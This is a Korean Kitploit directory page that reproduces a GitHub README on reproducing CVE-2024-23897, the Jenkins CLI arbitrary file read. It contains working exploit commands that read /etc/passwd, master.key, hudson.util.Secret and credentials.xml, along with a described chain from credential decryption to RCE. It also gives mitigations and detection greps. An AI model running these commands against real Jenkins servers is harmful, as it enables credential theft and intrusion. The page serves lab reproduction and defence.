Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2024-23897-jenkins_lfi_reproduction — cve-2024-23897-jenkins_lfi_reproduction의 재현 | Kitploit
도구/GitHubGitHub/razureink/cve-2024-23897-jenkins_lfi_reproduction
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubrazureink/cve-2024-23897-jenkins_lfi_reproduction

cve-2024-23897-jenkins_lfi_reproduction

cve-2024-23897-jenkins_lfi_reproduction의 재현

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
28일 전아직 검토되지 않음

CVE-2024-23897 — Jenkins CLI 임의 파일 읽기 취약점

CVSS 9.8 (CRITICAL) — 현재 야생에서 활발히 악용 중


개요

CVE-2024-23897은 Jenkins 명령줄 인터페이스(CLI)의 치명적인 임의 파일 읽기 취약점입니다. Jenkins CLI는 명령 인자 파싱을 위해 args4j 라이브러리를 사용합니다. 이 라이브러리는 파일 경로가 뒤따르는 @ 문자(@/path/to/file)를 해당 파일의 내용을 읽어 인자로 주입하는 방식으로 확장합니다. 인증되지 않은 공격자는 이 동작을 악용하여 Jenkins 컨트롤러 파일시스템의 임의 파일을 인증 없이 읽을 수 있습니다.

이 취약점은 credentials.xml, secrets 또는 master.key 추출과 결합되면 완전한 서버 장악(RCE)으로 이어질 수 있습니다.


기술적 세부 사항

args4j에서의 @ 문자 확장

args4j 라이브러리(Jenkins CLI 명령 파서에서 사용)는 편의 기능을 구현합니다. 인자가 @로 시작하면 인자의 나머지 부분을 파일 경로로 취급하여 파일 내용을 읽고 여러 인자로 분할합니다. 이는 파일을 통해 많은 인자 목록을 전달하기 위한 의도였습니다.

예시: java -jar jenkins-cli.jar who-am-i @/etc/passwd는 args4j가 /etc/passwd를 읽고 그 내용을 who-am-i 명령의 인자로 사용하게 합니다.

특정 CLI 명령(예: connect-node)은 오류 메시지/응답에 인자 값을 다시 에코하거나 포함하므로, 공격자는 CLI 응답에서 파일 내용을 확인할 수 있습니다.

공격 흐름

  1. 공격자는 Jenkins CLI 포트(기본값: 50000 또는 HTTP CLI 엔드포인트)에 연결합니다.
  2. 공격자는 @/etc/passwd와 같은 인자가 포함된 CLI 명령을 전송합니다.
  3. Jenkins의 args4j 파서가 파일을 읽고 이를 인자로 확장합니다.
  4. CLI 명령이 해당 인자를 처리하면서 응답 또는 오류 메시지에 파일 내용이 노출됩니다.
  5. 공격자는 민감한 파일을 추출하여 권한을 상승시킵니다.

왜 치명적인가

  • 인증 불필요 — CLI 포트는 자격 증명 없이 접근 가능합니다.
  • 선행 조건 없음 — 특별한 권한이나 Jenkins 기능을 활성화할 필요가 없습니다.
  • 광범위한 영향 — 수만 개의 Jenkins 인스턴스가 노출됨.
  • 권한 상승 — secrets/master.key를 읽으면 자격 증명 복호화 및 RCE가 가능합니다.

영향을 받는 버전

제품영향받는 버전수정 버전
Jenkins (weekly)≤ 2.4412.442
Jenkins LTS≤ 2.426.22.426.3
Jenkins LTS (이전)≤ 2.414.22.414.3

참고: 위에 나열된 수정 버전 이전의 모든 Jenkins 버전은 취약합니다. CLI 기능은 오랫동안 Jenkins에 존재해 왔으므로, 명시적으로 나열되지 않은 이전 버전도 영향을 받습니다.


재현 단계

환경 설정

  1. Docker로 취약한 Jenkins 인스턴스를 실행합니다:

    root@kitploit:~
    docker run -p 8080:8080 -p 50000:50000 jenkins/jenkins:2.440-jdk11
    

    컨테이너 로그에서 초기 관리자 비밀번호를 확인하세요.

  2. CLI 포트가 열려 있는지 확인합니다:

    root@kitploit:~
    # Jenkins CLI port (TCP 50000) should be listening
    # Or you can use the HTTP CLI endpoint at /cli/
    
  3. Python 3.8+ 설치 및 필요한 의존성:

    root@kitploit:~
    pip install requests
    

Python PoC를 통한 재현

root@kitploit:~
# Basic file read test — read /etc/passwd
python exploit.py --target http://localhost:8080 --file /etc/passwd

# Read Jenkins secrets (escalation path)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/master.key
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/credentials.xml

수동 재현 단계 (jenkins-cli.jar 사용)

root@kitploit:~
# Download the Jenkins CLI jar
wget http://localhost:8080/jnlpJars/jenkins-cli.jar

# Read /etc/passwd via the CLI
java -jar jenkins-cli.jar -s http://localhost:8080 who-am-i @/etc/passwd 2>&1

# Read Jenkins secrets
java -jar jenkins-cli.jar -s http://localhost:8080 connect-node @/var/jenkins_home/secrets/master.key 2>&1

예상 출력

파일 내용이 CLI 응답 또는 오류 출력에 나타납니다. 예를 들어 /etc/passwd를 읽으면 시스템의 패스워드 파일 항목이 반환됩니다.


개념 증명 (PoC) — 전체 악용 체인

1단계: Jenkins 환경 정보 수집

root@kitploit:~
# Read config to understand the environment
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/config.xml

# Read users and permissions
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/users/users.xml

2단계: RCE를 위한 비밀 정보 추출

root@kitploit:~
# Extract master key (used to encrypt credentials)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/master.key

# Extract the hudson.util.Secret key
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/hudson.util.Secret

# Extract credentials (encrypted)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/credentials.xml

3단계: 자격 증명 복호화 및 RCE 달성

master.key와 hudson.util.Secret이 있으면 jenkins_decrypt.py 또는 CVE-2024-23897 참고 자료의 decrypt.py 스크립트 같은 도구를 사용하여 Jenkins 자격 증명을 복호화할 수 있습니다. 복호화된 자격 증명(SSH 키, API 토큰, 클라우드 제공자 키)은 연결된 노드와 클라우드 환경에서 원격 코드 실행을 달성하는 데 사용될 수 있습니다.


완화 방안

즉시 조치

탐지

접근 로그 또는 CLI 감사 로그에서 @ 뒤에 파일 경로가 오는 인자를 검색합니다:

root@kitploit:~
# grep for suspicious CLI access
grep -r "@/" /var/log/jenkins/access.log

# Check for CLI connections from unexpected IPs
grep "CLI" /var/log/jenkins/jenkins.log | grep -v "127.0.0.1"

임시 조치 (패치가 불가능한 경우)

즉시 패치가 불가능한 경우 --webroot 옵션을 설정하거나 포트 50000을 차단하여 CLI 포트를 비활성화하세요. 그러나 웹 UI 내의 HTTP CLI 엔드포인트(/cli/)는 여전히 악용될 수 있으므로 패치를 강력히 권장합니다.


참고 자료

  • Jenkins 보안 권고 2024-01-24
  • NVD 항목 — CVE-2024-23897
  • NVD 항목 — CVE-2024-23898 (관련 CLI DoS)
  • args4j 라이브러리 @file 확장 문서
  • CISA 알려진 악용 취약점 카탈로그

면책 조항

이 저장소는 승인된 보안 테스트 및 교육 목적으로만 제공됩니다. 이 취약점을 무단으로 악용하는 것은 불법입니다. 저자는 이 정보의 오용에 대해 책임을 지지 않습니다. 소유한 시스템이나 명시적인 서면 허가를 받은 시스템에서만 테스트하십시오.

도구 다운로드
조치세부 사항
Jenkins 업데이트Jenkins 2.442+ 또는 LTS 2.426.3+ / 2.414.3+로 업그레이드
CLI 포트 비활성화필요하지 않으면 방화벽에서 TCP 포트 50000 차단
네트워크 접근 제한Jenkins CLI 포트에 대한 접근을 신뢰할 수 있는 네트워크로만 제한
인증 활성화Jenkins가 모든 접근에 인증을 요구하도록 설정
로그 모니터링접근 로그에서 @ 인자가 포함된 CLI 명령을 확인